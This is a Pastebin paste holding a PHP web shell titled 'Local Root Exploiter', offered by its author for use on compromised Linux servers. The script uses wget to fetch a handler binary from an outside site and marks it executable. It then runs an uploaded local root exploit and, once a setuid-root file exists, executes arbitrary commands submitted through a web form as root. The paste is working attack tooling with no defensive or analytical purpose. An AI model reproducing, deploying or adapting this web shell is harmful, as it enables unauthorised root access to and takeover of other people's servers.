Advertisement
KingSkrupellos

Local Server Root Exploit3r By KingSkrupellos No BackConnect

Nov 30th, 2017
235
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.56 KB | None | 0 0
  1. <?php
  2. /*
  3. -- Mr. KingSkrupellos
  4. -- https://www.cyberizm.org/
  5. */
  6.  
  7. ini_set('error_reporting', 0);
  8. ini_set('max_execution_time', 0);
  9.  
  10. $handle_url = "https://www.cyberizm.org";
  11. $path = getcwd()."/";
  12. $cmd = ( isset( $_POST["cmd"] ) ? $_POST["cmd"] : '' );
  13. $exploit = ( isset( $_POST["check_exploit"] ) ? $_FILES["exploit"]["name"] : '' );
  14.  
  15. ?>
  16.  
  17. <!doctype html>
  18. <html>
  19. <head>
  20. <meta charset='utf-8'>
  21. <title>KingSkrupellos - Local Root Exploiter - 2</title>
  22. <style type='text/css'>
  23. body
  24. {
  25. font: normal 15px Verdana;
  26. color: #ffffff;
  27. background-color: #000000;
  28. }
  29. textarea
  30. {
  31. width: 100%;
  32. height: 300px;
  33. resize: none;
  34. overflow-y: scroll;
  35. }
  36. pre
  37. {
  38. text-align: center;
  39. }
  40. a
  41. {
  42. text-decoration: none;
  43. color: #ff0000;
  44. }
  45. a:hover
  46. {
  47. text-decoration: underline;
  48. color: #ff0000;
  49. }
  50. .green
  51. {
  52. font: normal 15px Verdana;
  53. color: #00ff00;
  54. text-align: center;
  55. }
  56. .red
  57. {
  58. font: normal 15px Verdana;
  59. color: #ff0000;
  60. text-align: center;
  61. }
  62. </style>
  63. </head>
  64. <body>
  65. <pre>
  66. +-+-+-+-+-+ +-+-+-+-+ +-+-+-+-+-+-+-+-+-+ +-+-+
  67. KingSkrupellos |L|o|c|a|l| |R|o|o|t| |E|x|p|l|o|i|t|e|r| -- | 2 |
  68. +-+-+-+-+-+ +-+-+-+-+ +-+-+-+-+-+-+-+-+-+ +-+-+
  69. </pre>
  70. <h1 class='red'>By <a href='//cyberizm.org'>KingSkrupellos</a></h1>
  71. <pre>
  72. ----------------------------------------------------------------------
  73. </pre>
  74. <?php
  75.  
  76. ################################ KingSkrupellos MAKMAN_FUNCTIONS #################################
  77.  
  78. function check_os( ) {
  79. if ( strtoupper( substr( PHP_OS, 0, 3 ) ) === "WIN" ) {
  80. exit( "<p class='red'>Only works on Linux</p></body></html>" );
  81. }
  82. }
  83.  
  84. function format_output( $out ) {
  85. foreach( $out as $o ) {
  86. echo htmlspecialchars( preg_replace( "/\x1b\[[0-9;]*m/", "", trim( $o ) ) )."\n";
  87. }
  88. }
  89.  
  90. function check_session( ) {
  91.  
  92. global $path;
  93.  
  94. clearstatcache( );
  95. if( fileowner( $path."makman" ) == 0 && file_exists( $path."makman" ) && filesize( $path."makman" ) != 0 && decoct( fileperms( $path."makman" ) ) == 104755 ) {
  96. return true;
  97. }
  98. else {
  99. return false;
  100. }
  101. }
  102.  
  103. function download_module( ) {
  104.  
  105. global $path, $handle_url;
  106.  
  107. if( !file_exists( $path."makman" ) || filesize( $path."makman" ) == 0 ) {
  108. exec( "wget ".$handle_url." -O ".$path."makman" );
  109. chmod( $path."makman", 0755 );
  110. if( !file_exists( $path."makman" ) || filesize( $path."makman" ) == 0 ) {
  111. return false;
  112. }
  113. else {
  114. return true;
  115. }
  116. }
  117. return true;
  118. }
  119.  
  120. function execute($action, $exp) {
  121.  
  122. global $path, $handle_url;
  123.  
  124. if(download_module()) {
  125. if( $action == "exploit" ) {
  126. if( move_uploaded_file( $_FILES["exploit"]["tmp_name"], $path.$exp ) ) {
  127. chmod( $path.$exp, 0755 );
  128. exec( $path."makman --exploit='".$path.$exp."'", $output );
  129. format_output( $output );
  130. }
  131. else {
  132. echo "Failed to Upload. Check the path ".$path." and set proper permissions.";
  133. }
  134. }
  135. else if ($action == "command") {
  136. exec( $path."makman --command='".$exp."'", $output );
  137. format_output($output);
  138. }
  139. }
  140. else {
  141. echo "Failed to download the handler from ".$handle_url.". Download it manually and save it here ".$path."makman with 'chmod +x'.";
  142. }
  143. }
  144.  
  145.  
  146. ################################ KingSkrupellos MAKMAN_MAIN #########################################
  147.  
  148. check_os( );
  149.  
  150. if( check_session( ) ) {
  151.  
  152. echo "<p class='green'>Root session exists. Insert commands to execute.</p>";
  153. echo "<textarea>";
  154. if( isset( $_POST["cmd"] ) ) {
  155. execute( "command", $cmd );
  156. }
  157. echo "</textarea>";
  158. echo "
  159. <center>
  160. <form method='POST' action=''>
  161. <input name='cmd' type='text' autofocus><br>
  162. <input name='Submit' value='Submit' type='submit'><br>
  163. </form>
  164. </center>
  165. ";
  166.  
  167. }
  168.  
  169. else {
  170.  
  171. if( isset( $_POST["check_exploit"] ) ) {
  172. echo "<textarea>";
  173. execute( "exploit", $exploit );
  174. echo "\nRefreshing page in 2 seconds.";
  175. echo "</textarea>";
  176. header( "Refresh:2" );
  177. }
  178. echo "<p class='red'>Session not found. Upload your local root exploit to execute.</p>";
  179. echo "
  180. <center>
  181. <form method='POST' action='' enctype='multipart/form-data'>
  182. <input name='check_exploit' type='hidden' value='1'>
  183. <input name='exploit' type='file'>
  184. <input name='Submit' value='Submit' type='submit'><br>
  185. </form>
  186. </center>
  187. ";
  188.  
  189. }
  190.  
  191.  
  192. ?>
  193.  
  194.  
  195. </body>
  196. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement